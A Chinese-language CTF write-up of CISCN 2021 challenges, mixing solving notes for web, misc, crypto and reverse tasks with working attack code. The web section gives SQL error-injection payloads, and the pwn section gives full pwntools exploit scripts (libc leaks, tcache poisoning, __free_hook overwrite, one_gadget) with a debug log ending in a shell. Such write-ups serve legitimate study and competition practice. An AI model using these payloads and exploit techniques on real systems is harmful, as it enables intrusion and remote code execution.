应广大师傅们要求,将附件打包分享一下
PWN+RE部分附件(冲刺卷RE无)
链接:https://pan.baidu.com/s/1AbtThCyWnF3MryZ_XWXwHA
提取码:1949
复制这段内容后打开百度网盘手机App,操作更方便哦

前言:

被室友们带飞,自己菜得一批,最终只能说勉勉强强拿了几千分进了个线下,被室友带飞的24H
这个360赛制让广大CTFer体会了第二次高考。
首先上午的9:00-11:00 的2h答题环节 2h答200道题,平均下来就是 2*3600/200=36s 每道题(完全做不完,答题环节拖了队友后腿了) 最终平均下来只有740多
然后就是分为场景实操--开场卷(11:00-19:00),场景实操--二阶卷(14:00-0:00),场景实操--冲刺卷(21:00-次日9:00)
这赛制完全就是不想让人睡觉了,题目的话也难,冲刺卷最后也没玩出个所以然来
吐槽完了,
一觉睡醒,趁热打铁,就将部分题目的解题思路做一下
没做出来的也去找了写了相关的wp的师傅的博客看了一下,因为没睡多久,就大概弄一下吧,自己没做出来的就当一个搬运工吧,比赛到现在还只睡了四个小时不到
参考博客:雪姐姐的WP羽师傅的wp春哥知乎 ,striving师傅的WP
询问了fmyy师傅一些相关pwn的题知识,受益良多,fmyyyyds,

场景实操--开场卷

Web

easy_sql

sqlmap测出存在报错注入
payload测一下

uname=1221') AND EXTRACTVALUE(6060,CONCAT(0x5c,(select database())))--
+&passwd=12221

得知过滤了几个函数
最终join注入得到security库flag表第一个列名id,第二个no,第三个列名也就是flag所在列名

uname=1221') AND EXTRACTVALUE(6060,CONCAT(0x5c,(select * from(select * from flag
a join (select * from flag)b using(id,no))c)))-- JsdH&passwd=12221

image-20210516152658523.png

sqlmap再跑一下字段值:

image-20210516152710085.png

Easy_resource

做完之后发现是原题......
扫描得到.index.php.swo,读取源码:

<?php
class User
{
    private static $c = 0;

    function a()
    {
        return ++self::$c;
    }

    function b()
    {
        return ++self::$c;
    }

    function c()
    {
        return ++self::$c;
    }

    function d()
    {
        return ++self::$c;
    }

    function e()
    {
        return ++self::$c;
    }

    function f()
    {
        return ++self::$c;
    }

    function g()
    {
        return ++self::$c;
    }

    function h()
    {
        return ++self::$c;
    }

    function i()
    {
        return ++self::$c;
    }

    function j()
    {
        return ++self::$c;
    }

    function k()
    {
        return ++self::$c;
    }

    function l()
    {
        return ++self::$c;
    }

    function m()
    {
        return ++self::$c;
    }

    function n()
    {
        return ++self::$c;
    }

    function o()
    {
        return ++self::$c;
    }

    function p()
    {
        return ++self::$c;
    }

    function q()
    {
        return ++self::$c;
    }

    function r()
    {
        return ++self::$c;
    }

    function s()
    {
        return ++self::$c;
    }

    function t()
    {
        return ++self::$c;
    }
    
}

$rc=$_GET["rc"];
$rb=$_GET["rb"];
$ra=$_GET["ra"];
$rd=$_GET["rd"];
$method= new $rc($ra, $rb);
var_dump($method->$rd());

考虑利用原生类 ReflectionMethod 读取 User 类中的方法;
构建 payload:?rc=ReflectionMethod&ra=User&rb=&rd=getDocComment,rb 取 a-z,burp
尝试爆破:

image-20210516161550282.png

拿到flag

Misc

tiny traffic

流量分析的题,
用Wireshark导出Http对象,然后直接搜索flag就可以看到flag_wrapper和test,secret
保存为.br压缩包,解压后得到proto文件和一份数据文件
https://github.com/protocolbuffers/protobuf/releases/ 到这里下载一个编译器
得到py脚本,解析数据文件
脚本如下:(有点长)

# -*- coding: utf-8 -*-
# Generated by the protocol buffer compiler.  DO NOT EDIT!
# source: test
"""Generated protocol buffer code."""
from google.protobuf import descriptor as _descriptor
from google.protobuf import message as _message
from google.protobuf import reflection as _reflection
from google.protobuf import symbol_database as _symbol_database
# @@protoc_insertion_point(imports)

_sym_db = _symbol_database.Default()




DESCRIPTOR = _descriptor.FileDescriptor(
  name='test',
  package='',
  syntax='proto3',
  serialized_options=None,
  create_key=_descriptor._internal_create_key,
  serialized_pb=b'\n\x04test\"\xd0\x01\n\nPBResponse\x12\x0c\n\x04\x63ode\x18\x01 \x01(\x05\x12$\n\x1c\x66lag_part_convert_to_hex_plz\x18\x02 \x01(\x03\x12\"\n\x08\x64\x61taList\x18\x03 \x03(\x0b\x32\x10.PBResponse.data\x12$\n\x1c\x66lag_part_plz_convert_to_hex\x18\x04 \x01(\x05\x12\x16\n\x0e\x66lag_last_part\x18\x05 \x01(\t\x1a,\n\x04\x64\x61ta\x12\x11\n\tjunk_data\x18\x02 \x01(\t\x12\x11\n\tflag_part\x18\x01 \x01(\t\"<\n\tPBRequest\x12\x0f\n\x07\x63\x61te_id\x18\x01 \x01(\t\x12\x0c\n\x04page\x18\x02 \x01(\x05\x12\x10\n\x08pageSize\x18\x03 \x01(\x05\x62\x06proto3'
)




_PBRESPONSE_DATA = _descriptor.Descriptor(
  name='data',
  full_name='PBResponse.data',
  filename=None,
  file=DESCRIPTOR,
  containing_type=None,
  create_key=_descriptor._internal_create_key,
  fields=[
    _descriptor.FieldDescriptor(
      name='junk_data', full_name='PBResponse.data.junk_data', index=0,
      number=2, type=9, cpp_type=9, label=1,
      has_default_value=False, default_value=b"".decode('utf-8'),
      message_type=None, enum_type=None, containing_type=None,
      is_extension=False, extension_scope=None,
      serialized_options=None, file=DESCRIPTOR,  create_key=_descriptor._internal_create_key),
    _descriptor.FieldDescriptor(
      name='flag_part', full_name='PBResponse.data.flag_part', index=1,
      number=1, type=9, cpp_type=9, label=1,
      has_default_value=False, default_value=b"".decode('utf-8'),
      message_type=None, enum_type=None, containing_type=None,
      is_extension=False, extension_scope=None,
      serialized_options=None, file=DESCRIPTOR,  create_key=_descriptor._internal_create_key),
  ],
  extensions=[
  ],
  nested_types=[],
  enum_types=[
  ],
  serialized_options=None,
  is_extendable=False,
  syntax='proto3',
  extension_ranges=[],
  oneofs=[
  ],
  serialized_start=173,
  serialized_end=217,
)

_PBRESPONSE = _descriptor.Descriptor(
  name='PBResponse',
  full_name='PBResponse',
  filename=None,
  file=DESCRIPTOR,
  containing_type=None,
  create_key=_descriptor._internal_create_key,
  fields=[
    _descriptor.FieldDescriptor(
      name='code', full_name='PBResponse.code', index=0,
      number=1, type=5, cpp_type=1, label=1,
      has_default_value=False, default_value=0,
      message_type=None, enum_type=None, containing_type=None,
      is_extension=False, extension_scope=None,
      serialized_options=None, file=DESCRIPTOR,  create_key=_descriptor._internal_create_key),
    _descriptor.FieldDescriptor(
      name='flag_part_convert_to_hex_plz', full_name='PBResponse.flag_part_convert_to_hex_plz', index=1,
      number=2, type=3, cpp_type=2, label=1,
      has_default_value=False, default_value=0,
      message_type=None, enum_type=None, containing_type=None,
      is_extension=False, extension_scope=None,
      serialized_options=None, file=DESCRIPTOR,  create_key=_descriptor._internal_create_key),
    _descriptor.FieldDescriptor(
      name='dataList', full_name='PBResponse.dataList', index=2,
      number=3, type=11, cpp_type=10, label=3,
      has_default_value=False, default_value=[],
      message_type=None, enum_type=None, containing_type=None,
      is_extension=False, extension_scope=None,
      serialized_options=None, file=DESCRIPTOR,  create_key=_descriptor._internal_create_key),
    _descriptor.FieldDescriptor(
      name='flag_part_plz_convert_to_hex', full_name='PBResponse.flag_part_plz_convert_to_hex', index=3,
      number=4, type=5, cpp_type=1, label=1,
      has_default_value=False, default_value=0,
      message_type=None, enum_type=None, containing_type=None,
      is_extension=False, extension_scope=None,
      serialized_options=None, file=DESCRIPTOR,  create_key=_descriptor._internal_create_key),
    _descriptor.FieldDescriptor(
      name='flag_last_part', full_name='PBResponse.flag_last_part', index=4,
      number=5, type=9, cpp_type=9, label=1,
      has_default_value=False, default_value=b"".decode('utf-8'),
      message_type=None, enum_type=None, containing_type=None,
      is_extension=False, extension_scope=None,
      serialized_options=None, file=DESCRIPTOR,  create_key=_descriptor._internal_create_key),
  ],
  extensions=[
  ],
  nested_types=[_PBRESPONSE_DATA, ],
  enum_types=[
  ],
  serialized_options=None,
  is_extendable=False,
  syntax='proto3',
  extension_ranges=[],
  oneofs=[
  ],
  serialized_start=9,
  serialized_end=217,
)


_PBREQUEST = _descriptor.Descriptor(
  name='PBRequest',
  full_name='PBRequest',
  filename=None,
  file=DESCRIPTOR,
  containing_type=None,
  create_key=_descriptor._internal_create_key,
  fields=[
    _descriptor.FieldDescriptor(
      name='cate_id', full_name='PBRequest.cate_id', index=0,
      number=1, type=9, cpp_type=9, label=1,
      has_default_value=False, default_value=b"".decode('utf-8'),
      message_type=None, enum_type=None, containing_type=None,
      is_extension=False, extension_scope=None,
      serialized_options=None, file=DESCRIPTOR,  create_key=_descriptor._internal_create_key),
    _descriptor.FieldDescriptor(
      name='page', full_name='PBRequest.page', index=1,
      number=2, type=5, cpp_type=1, label=1,
      has_default_value=False, default_value=0,
      message_type=None, enum_type=None, containing_type=None,
      is_extension=False, extension_scope=None,
      serialized_options=None, file=DESCRIPTOR,  create_key=_descriptor._internal_create_key),
    _descriptor.FieldDescriptor(
      name='pageSize', full_name='PBRequest.pageSize', index=2,
      number=3, type=5, cpp_type=1, label=1,
      has_default_value=False, default_value=0,
      message_type=None, enum_type=None, containing_type=None,
      is_extension=False, extension_scope=None,
      serialized_options=None, file=DESCRIPTOR,  create_key=_descriptor._internal_create_key),
  ],
  extensions=[
  ],
  nested_types=[],
  enum_types=[
  ],
  serialized_options=None,
  is_extendable=False,
  syntax='proto3',
  extension_ranges=[],
  oneofs=[
  ],
  serialized_start=219,
  serialized_end=279,
)

_PBRESPONSE_DATA.containing_type = _PBRESPONSE
_PBRESPONSE.fields_by_name['dataList'].message_type = _PBRESPONSE_DATA
DESCRIPTOR.message_types_by_name['PBResponse'] = _PBRESPONSE
DESCRIPTOR.message_types_by_name['PBRequest'] = _PBREQUEST
_sym_db.RegisterFileDescriptor(DESCRIPTOR)

PBResponse = _reflection.GeneratedProtocolMessageType('PBResponse', (_message.Message,), {

  'data' : _reflection.GeneratedProtocolMessageType('data', (_message.Message,), {
    'DESCRIPTOR' : _PBRESPONSE_DATA,
    '__module__' : 'test_pb2'
    # @@protoc_insertion_point(class_scope:PBResponse.data)
    })
  ,
  'DESCRIPTOR' : _PBRESPONSE,
  '__module__' : 'test_pb2'
  # @@protoc_insertion_point(class_scope:PBResponse)
  })
_sym_db.RegisterMessage(PBResponse)
_sym_db.RegisterMessage(PBResponse.data)

PBRequest = _reflection.GeneratedProtocolMessageType('PBRequest', (_message.Message,), {
  'DESCRIPTOR' : _PBREQUEST,
  '__module__' : 'test_pb2'
  # @@protoc_insertion_point(class_scope:PBRequest)
  })
_sym_db.RegisterMessage(PBRequest)


# @@protoc_insertion_point(module_scope)

if __name__ == '__main__':
  with open("secret", 'rb') as f:
    re = PBResponse()
    re.ParseFromString(f.read())
    print(re.data)

然后打个断点看看re.data
最终在里面:

code: 200
flag_part_convert_to_hex_plz: 15100450
dataList {
  flag_part: "e2345"
  junk_data: "7af2c"
}
dataList {
  flag_part: "7889b0"
  junk_data: "82bc0"
}
flag_part_plz_convert_to_hex: 16453958
flag_last_part: "d172a38dc"

看到flag,把非16进制的内容转换为hex就行了,但是在比赛的时候没拼接成功,最后没交上(错失200 points)
最终flag:CISCN{e66a22e23457889b0fb1146d172a38dc}

running_pixel

下载附件打开发现是个gif,每10帧的内容都有点不同

from PIL import Image
import os
gifFileName = 'running_pixel.gif'
im = Image.open(gifFileName)
pngDir = gifFileName[:-4]
os.mkdir(pngDir)
try:
 while True:
  current = im.tell()
  im.save(pngDir+'/'+str(current)+'.png')
  im.seek(current+1)
except EOFError:
  pass

然后对照片进行图片模式改变,可以发现原来图片是p模式,改为rgb模式,发现图片中存在颜色不一致的地方,背景色为247,247,247,部分像素颜色为233,233,233,所以将颜色为233,233,233区块的位置尝试画出来,发现内容
exp:

res = Image.new("L", (400,400), 255)
from PIL import Image
import time
for i in range(382):
    img = Image.open(f"./running_pixel/{i}.png").convert("RGB")
    for x in range(img.size[0]):
        for y in range(img.size[1]):
            p = img.getpixel((x,y))
            if p == (233,233,233):#此颜色与背景白247,247,247非常相似,但是利用色彩工具即可识别,所以推测233,233,233为关键内容
                res.putpixel((y,x), 0)
                res.save(f"new-{i}.png")

截图输出,可以发现也是个类似gif,然后手动右键字符逐个出现,按顺序写即可:12504D0F-9DE1-4B00-87A5-A5FDD0986A00
包上CISCN交不上,最后得知是要改成小写
flag: CISCN{12504d0f-9de1-4b00-87a5-a5fdd0986a00}

Pwn

pwny

首先拿到题,分值200,emmm,并不是很想做,一看后面的题,分值高,有点眼熟,好像做过,
找了好久没找到,无奈回来做。
例行检查:

image-20210515190806903.png

好家伙,全绿的
拖进ida,看一下函数大体情况:

image-20210515191006402.png

经分析可得:我们可以用write将随机数的fd修改为0,切换为标准输入输出。
read/write相当于任意地址读写。泄露出libc基址、程序基址,
然后用libc上environ存储的栈地址算出当前write函数的ret地址
直接修改为one_gadget地址即可get shell。在进行人机交互时直接执行cat flag命令拿到flag
exp如下:

##@Author:bit
## Date  : 2021-05-15
from pwn import*
context.log_level = 'debug'
def read(idx):
    p.recvuntil('choice: ')
    p.sendline('1')
    p.recvuntil('Index: ')
    p.send(idx)

def write(idx):
    p.recvuntil('choice: ')
    p.sendline('2')
    p.recvuntil('Index: ')
    p.sendline(str(idx))

def write_con(idx,con):
    p.recvuntil('choice: ')
    p.sendline('2')
    p.recvuntil('Index: ')
    p.sendline(str(idx))
    p.send(con)

def trans_format(x):
    if (x >= 0):
        return x
    else:
        return ~(-x)+1+0x8000000000000000

libc = ELF('./libc-2.27.so')

#p = process('./pwny',env={"LD_PRELOAD":"./libc-2.27.so"})

p = remote("124.70.34.66", 23954)

write(256)
write(256)
base = 0x202060
read(p64(trans_format((0x201f98-base)/8)))

p.recvuntil("Result: ")
libc_base = int(p.recvuntil('\n')[:-1], base = 16)-0x80aa0
one_gadget = libc_base + 0x10a41c

read(p64(trans_format((0x201e98-base)/8)))
p.recvuntil("Result: ")
bss_addr = int(p.recvuntil('\n')[:-1], base = 16)-0x6d8+base

environ = libc.symbols['environ'] + libc_base
read(p64(trans_format((environ-bss_addr)/8)))
p.recvuntil("Result: ")
stack_ret_addr = int(p.recvuntil('\n')[:-1], base = 16)-0x120
write_con((stack_ret_addr-bss_addr)/8, p64(one_gadget))

p.sendline("cat flag")
p.interactive()

lonelywolf

exp:

from pwn import *
context.log_level = 'debug'
def menu(ch):
    p.sendlineafter('choice:',str(ch))
def add(size):
    menu(1)
    p.sendlineafter('Index:',str(0))
    p.sendlineafter('Size:',str(size))
def edit(content):
    menu(2)
    p.sendlineafter('Index:',str(0))
    p.sendlineafter('Content:',content)
def show():
    menu(3)
    p.sendlineafter('Index:',str(0))
def free():
    menu(4)
    p.sendlineafter('Index:',str(0))
p = process('./lonelywolf')
#p = remote('',)
libc = ELF('./libc-2.27.so')
add(0x78)
for i in range(2):
    edit('\x00'*0x10)
    free()
show()
p.recvuntil('Content: ')
heap_base = u64(p.recv(6).ljust(8,'\x00'))  - 0x260
log.info('HEAP:\t' + hex(heap_base))

edit(p64(heap_base + 0x10))
add(0x78)
add(0x78)

edit('\x00'*0x23 + '\x07')
free()
show()
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['__malloc_hook'] - 0x70
log.info('LIBC:\t' + hex(libc_base))

edit('\x03' + '\x00'*0x3F + p64(libc_base + libc.sym['__free_hook'] - 8))
add(0x18)
edit('/bin/sh\x00' + p64(libc_base + libc.sym['system']))

free()
p.interactive()

本地调试结果:

hacker@ubuntu:~/PWN/CISCN2021/PWN1/lonelywolf$ python exp.py 
[+] Starting local process './lonelywolf' argv=['./lonelywolf'] : pid 12921
[DEBUG] PLT 0x21020 realloc
[DEBUG] PLT 0x21060 __tls_get_addr
[DEBUG] PLT 0x210a0 memalign
[DEBUG] PLT 0x210b0 _dl_exception_create
[DEBUG] PLT 0x210f0 __tunable_get_val
[DEBUG] PLT 0x211a0 _dl_find_dso_for_object
[DEBUG] PLT 0x211e0 calloc
[DEBUG] PLT 0x212c0 malloc
[DEBUG] PLT 0x212c8 free
[*] '/home/hacker/PWN/CISCN2021/PWN1/lonelywolf/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[DEBUG] Received 0x3b bytes:
    '1. allocate\n'
    '2. edit\n'
    '3. show\n'
    '4. delete\n'
    '5. exit\n'
    'Your choice: '
[DEBUG] Sent 0x2 bytes:
    '1\n'
[DEBUG] Received 0x7 bytes:
    'Index: '
[DEBUG] Sent 0x2 bytes:
    '0\n'
[DEBUG] Received 0x6 bytes:
    'Size: '
[DEBUG] Sent 0x4 bytes:
    '120\n'
[DEBUG] Received 0x41 bytes:
    'Done!\n'
    '1. allocate\n'
    '2. edit\n'
    '3. show\n'
    '4. delete\n'
    '5. exit\n'
    'Your choice: '
[DEBUG] Sent 0x2 bytes:
    '2\n'
[DEBUG] Received 0x7 bytes:
    'Index: '
[DEBUG] Sent 0x2 bytes:
    '0\n'
[DEBUG] Received 0x9 bytes:
    'Content: '
[DEBUG] Sent 0x11 bytes:
    00000000  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    00000010  0a                                                  │·│
    00000011
[DEBUG] Received 0x3b bytes:
    '1. allocate\n'
    '2. edit\n'
    '3. show\n'
    '4. delete\n'
    '5. exit\n'
    'Your choice: '
[DEBUG] Sent 0x2 bytes:
    '4\n'
[DEBUG] Received 0x7 bytes:
    'Index: '
[DEBUG] Sent 0x2 bytes:
    '0\n'
[DEBUG] Received 0x3b bytes:
    '1. allocate\n'
    '2. edit\n'
    '3. show\n'
    '4. delete\n'
    '5. exit\n'
    'Your choice: '
[DEBUG] Sent 0x2 bytes:
    '2\n'
[DEBUG] Received 0x7 bytes:
    'Index: '
[DEBUG] Sent 0x2 bytes:
    '0\n'
[DEBUG] Received 0x9 bytes:
    'Content: '
[DEBUG] Sent 0x11 bytes:
    00000000  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    00000010  0a                                                  │·│
    00000011
[DEBUG] Received 0x3b bytes:
    '1. allocate\n'
    '2. edit\n'
    '3. show\n'
    '4. delete\n'
    '5. exit\n'
    'Your choice: '
[DEBUG] Sent 0x2 bytes:
    '4\n'
[DEBUG] Received 0x7 bytes:
    'Index: '
[DEBUG] Sent 0x2 bytes:
    '0\n'
[DEBUG] Received 0x3b bytes:
    '1. allocate\n'
    '2. edit\n'
    '3. show\n'
    '4. delete\n'
    '5. exit\n'
    'Your choice: '
[DEBUG] Sent 0x2 bytes:
    '3\n'
[DEBUG] Received 0x7 bytes:
    'Index: '
[DEBUG] Sent 0x2 bytes:
    '0\n'
[DEBUG] Received 0x4b bytes:
    00000000  43 6f 6e 74  65 6e 74 3a  20 60 f2 8d  83 20 56 0a  │Cont│ent:│ `··│· V·│
    00000010  31 2e 20 61  6c 6c 6f 63  61 74 65 0a  32 2e 20 65  │1. a│lloc│ate·│2. e│
    00000020  64 69 74 0a  33 2e 20 73  68 6f 77 0a  34 2e 20 64  │dit·│3. s│how·│4. d│
    00000030  65 6c 65 74  65 0a 35 2e  20 65 78 69  74 0a 59 6f  │elet│e·5.│ exi│t·Yo│
    00000040  75 72 20 63  68 6f 69 63  65 3a 20                  │ur c│hoic│e: │
    0000004b
[*] HEAP:    0x5620838df000
[DEBUG] Sent 0x2 bytes:
    '2\n'
[DEBUG] Received 0x7 bytes:
    'Index: '
[DEBUG] Sent 0x2 bytes:
    '0\n'
[DEBUG] Received 0x9 bytes:
    'Content: '
[DEBUG] Sent 0x9 bytes:
    00000000  10 f0 8d 83  20 56 00 00  0a                        │····│ V··│·│
    00000009
[DEBUG] Received 0x3b bytes:
    '1. allocate\n'
    '2. edit\n'
    '3. show\n'
    '4. delete\n'
    '5. exit\n'
    'Your choice: '
[DEBUG] Sent 0x2 bytes:
    '1\n'
[DEBUG] Received 0x7 bytes:
    'Index: '
[DEBUG] Sent 0x2 bytes:
    '0\n'
[DEBUG] Received 0x6 bytes:
    'Size: '
[DEBUG] Sent 0x4 bytes:
    '120\n'
[DEBUG] Received 0x41 bytes:
    'Done!\n'
    '1. allocate\n'
    '2. edit\n'
    '3. show\n'
    '4. delete\n'
    '5. exit\n'
    'Your choice: '
[DEBUG] Sent 0x2 bytes:
    '1\n'
[DEBUG] Received 0x7 bytes:
    'Index: '
[DEBUG] Sent 0x2 bytes:
    '0\n'
[DEBUG] Received 0x6 bytes:
    'Size: '
[DEBUG] Sent 0x4 bytes:
    '120\n'
[DEBUG] Received 0x41 bytes:
    'Done!\n'
    '1. allocate\n'
    '2. edit\n'
    '3. show\n'
    '4. delete\n'
    '5. exit\n'
    'Your choice: '
[DEBUG] Sent 0x2 bytes:
    '2\n'
[DEBUG] Received 0x7 bytes:
    'Index: '
[DEBUG] Sent 0x2 bytes:
    '0\n'
[DEBUG] Received 0x9 bytes:
    'Content: '
[DEBUG] Sent 0x25 bytes:
    00000000  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    *
    00000020  00 00 00 07  0a                                     │····│·│
    00000025
[DEBUG] Received 0x3b bytes:
    '1. allocate\n'
    '2. edit\n'
    '3. show\n'
    '4. delete\n'
    '5. exit\n'
    'Your choice: '
[DEBUG] Sent 0x2 bytes:
    '4\n'
[DEBUG] Received 0x7 bytes:
    'Index: '
[DEBUG] Sent 0x2 bytes:
    '0\n'
[DEBUG] Received 0x3b bytes:
    '1. allocate\n'
    '2. edit\n'
    '3. show\n'
    '4. delete\n'
    '5. exit\n'
    'Your choice: '
[DEBUG] Sent 0x2 bytes:
    '3\n'
[DEBUG] Received 0x7 bytes:
    'Index: '
[DEBUG] Sent 0x2 bytes:
    '0\n'
[DEBUG] Received 0x4b bytes:
    00000000  43 6f 6e 74  65 6e 74 3a  20 a0 1c 2c  36 cd 7f 0a  │Cont│ent:│ ··,│6···│
    00000010  31 2e 20 61  6c 6c 6f 63  61 74 65 0a  32 2e 20 65  │1. a│lloc│ate·│2. e│
    00000020  64 69 74 0a  33 2e 20 73  68 6f 77 0a  34 2e 20 64  │dit·│3. s│how·│4. d│
    00000030  65 6c 65 74  65 0a 35 2e  20 65 78 69  74 0a 59 6f  │elet│e·5.│ exi│t·Yo│
    00000040  75 72 20 63  68 6f 69 63  65 3a 20                  │ur c│hoic│e: │
    0000004b
[*] LIBC:    0x7fcd35ed6000
[DEBUG] Sent 0x2 bytes:
    '2\n'
[DEBUG] Received 0x7 bytes:
    'Index: '
[DEBUG] Sent 0x2 bytes:
    '0\n'
[DEBUG] Received 0x9 bytes:
    'Content: '
[DEBUG] Sent 0x49 bytes:
    00000000  03 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    00000010  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    *
    00000040  e0 38 2c 36  cd 7f 00 00  0a                        │·8,6│····│·│
    00000049
[DEBUG] Received 0x3b bytes:
    '1. allocate\n'
    '2. edit\n'
    '3. show\n'
    '4. delete\n'
    '5. exit\n'
    'Your choice: '
[DEBUG] Sent 0x2 bytes:
    '1\n'
[DEBUG] Received 0x7 bytes:
    'Index: '
[DEBUG] Sent 0x2 bytes:
    '0\n'
[DEBUG] Received 0x6 bytes:
    'Size: '
[DEBUG] Sent 0x3 bytes:
    '24\n'
[DEBUG] Received 0x41 bytes:
    'Done!\n'
    '1. allocate\n'
    '2. edit\n'
    '3. show\n'
    '4. delete\n'
    '5. exit\n'
    'Your choice: '
[DEBUG] Sent 0x2 bytes:
    '2\n'
[DEBUG] Received 0x7 bytes:
    'Index: '
[DEBUG] Sent 0x2 bytes:
    '0\n'
[DEBUG] Received 0x9 bytes:
    'Content: '
[DEBUG] Sent 0x11 bytes:
    00000000  2f 62 69 6e  2f 73 68 00  50 55 f2 35  cd 7f 00 00  │/bin│/sh·│PU·5│····│
    00000010  0a                                                  │·│
    00000011
[DEBUG] Received 0x3b bytes:
    '1. allocate\n'
    '2. edit\n'
    '3. show\n'
    '4. delete\n'
    '5. exit\n'
    'Your choice: '
[DEBUG] Sent 0x2 bytes:
    '4\n'
[DEBUG] Received 0x7 bytes:
    'Index: '
[DEBUG] Sent 0x2 bytes:
    '0\n'
[*] Switching to interactive mode
 $ ls
[DEBUG] Sent 0x3 bytes:
    'ls\n'
[DEBUG] Received 0x20 bytes:
    'exp.py\tlibc-2.27.so  lonelywolf\n'
exp.py    libc-2.27.so  lonelywolf
$  

channel(*)

channel 就是个菜单
但是他里面写了个链表
链表的每个node里面
还可以写链表
洞的话就一个uaf漏洞
exp:

from pwn import*
#context.log_level = 'DEBUG'
def menu(ch):
    p.sendlineafter('> ',str(ch))
def Register(key):
    menu(1)
    p.sendafter('key> \n',key)
def UnRegister(key):
    menu(2)
    p.sendafter('key> \n',key)
def Read(key):
    menu(3)
    p.sendafter('key> \n',key)
def Write(key,len,content):
    menu(4)
    p.sendafter('key>',key)
    p.sendlineafter('len>',str(len))
    p.sendafter('content>',content)
#p = process('./qemu-aarch64-static -g 4444 -L $(pwd)/LIB ./main',shell=True)
p = remote('',)

libc = ELF('./libc-2.31.so')

Register('fmyy')
Register('FMYY')
Register('TMP')
Register('0')
Register('1')
Register('2')
Register('3')
Register('/bin/sh\x00')
UnRegister('fmyy')
UnRegister('FMYY')
Write('TMP',0x110,'\xF0')
Read('TMP')
heap_base = (u32(p.recv(3).ljust(4,'\x00')) | 0x0000004000000000) - 0x2F0
log.info('HEAP:\t' + hex(heap_base))

Write('TMP',0x110,'\x00'*0xF8 + p64(0x4A1) + p64(heap_base + 0x3A0 )) #fmyy
UnRegister(p64(heap_base + 0x3A0) + '\x00'*0x10 + p64(0x121) + p64(heap_base + 0x2F0))

UnRegister('0')
UnRegister('1')

Write('TMP',0x60,'\xF0')
Read('TMP')
libc_base = (u32(p.recv(3).ljust(4,'\x00')) | 0x0000004000000000) - 0x16DEF0
log.info('LIBC:\t' + hex(libc_base))
Write('3',0x170,'FMYY')
Write('3',0x200,'\x00'*0x150 + p64(libc_base + libc.sym['__free_hook']))

Write('3',0x110,'FMYY')
Write('3',0x110,p64(libc_base + libc.sym['system']))

UnRegister('/bin/sh\x00')
p.interactive()

Crypto

classic

这题完全做不出,没思路,做题的时候感觉是考脑洞,看到了striving师傅的博客 AXAXDFDXXAFADFGFXAADFGDXGFDXFFDFAXDXFFFFXGXGAAXAGAFDDXFFDXFFDXDXDXDXGFDFAXFXAADXAAGAXGDGXAXAFAXXFFXADFFGAADXDXAXDFDFDXXAXXDXDAAAAAFAXAAAFGGAFGFGXADXXADFGADXDFDFGAGFDGAXFGAXDGDADXFFFFDAGFADXGDX
首先是ADFGX密码,参考:https://xz.aliyun
ADFGX就是5X5的棋盘密码,横纵坐标用ADFGX表示,一般有字母表,移动密钥,字母表就是棋盘字母的排序,移动密钥用以打乱密文,类似列移位,所以对于一个密码表未知,密钥未知且密文较短的ADFGX破解
所以尝试一些公开的默认的密码表或者密钥,整个完整手搓脚本如下,当然也可以在线工具。

def decrypt_ADFGX(alp,cipher):    
    l=len(cipher)    
    dic={"A":0,"D":1,"F":2,"G":3,"X":4}    
    message=""    
    alp=[[i for i in alp[j:j+5]] for j in range(0,len(alp),5)]    
    for i in range(0,l,2):    
        message+=alp[dic[cipher[i]]][dic[cipher[i+1]]]    
    return message                    
#传统型栅栏    
def fence_boom(cipher):    
    l=len(cipher)    
    allfence=[]    
    for fence in range(1,l):    
        num=l//fence    
        result = {x: '' for x in range(num)}   
        for i in range(l):    
            a=i%num    
            result.update({a: result[a] + cipher[i]})    
        d=""    
        for i in range(num):    
            d+=result[i]    
        allfence.append(d)    
    return allfence    
#凯撒    
def kasa_bomm(cipher):    
    result=[]    
    for move in range(1,26):    
        result.append("".join([chr((ord(i)-97+move)%26 +97) for i in cipher]))    
    return result    
#凯撒栅栏    
def boom(cipher):    
    for each in fence_boom(cipher):    
        for flag in kasa_bomm(each):   
            if "ciscn" in flag:   
                return flag    
   
def replaced(flag):    
    dic={"brace":"{","yero":0,"one":1,"two":2,"three":3,"four":4,"five":5,"six":6,"seven":7,"eight":8,"nine":9}    
    for i in dic:   
        if i in flag:    
            flag=flag.replace(i,str(dic[i]))    
    return flag[:-1]+"}"             
def main():           cipher="AXAXDFDXXAFADFGFXAADFGDXGFDXFFDFAXDXFFFFXGXGAAXAGAFDDXFFDXFFDXDXDXDXGFDFAXFXAADXAAGAXGDGXAXAFAXXFFXADFFGAADXDXAXDFDFDXXAXXDXDAAAAAFAXAAAFGGAFGFGXADXXADFGADXDFDFGAGFDGAXFGAXDGDADXFFFFDAGFADXGDX"   
    alp="phqgmeaynofdxkrcvszwbutil"   
    message=decrypt_ADFGX(alp,cipher)    
    flag=boom(message)   
    print(replaced(flag))    
main()      
#ciscn{3c14de1a4cefff77109dc40a606a5ad0}  

这种唯密文难以破解的,应该想到是否是公认或者默认的字母表或者密钥,而这个题ADFGX解出来毫无预兆的承接凯撒和栅栏,栅栏凯撒一起爆破,当然公认的字母表密钥不止一个,也可以爆破。

Reverse

glass

1.将apk改为.zip
解压反编译classes.dex
2.使用dex2jar反编译

image-20210516155927415.png

3.使用jd-gui打开反编译后的jar文件
看到 checkFlag 为native类型,并且引入了native-lib,

image-20210516160016229.png

4,ida分析libnative-lib.so

image-20210516160108084.png

sub_FFC和sub_1088看起来是个RC4加密,
sub_FFC初始化,sub_1088 加密
sub_10D4是个加密函数
APP逻辑:用户输入-->加密用户输入的内容-->对比unk_487C验证flag是否正确
逆向逻辑:从unk_487C得到数据-->用逆sub_10D4解密-->RC4解密-->得到flag

image-20210516160151383.png

flag值:CISCN{6654d84617f627c88846c172e0f4d46c}

gift

内心cos:这个题一看分值还挺高的,直接打开,好家伙,直接给flag,emmm,等等,高兴有点早了,怎么越来越慢了,woc,你倒是快点鸭,边做别的题,然后一直挂在那,到最后也就多跑了一到两位数,离完整的flag差距还是有点远
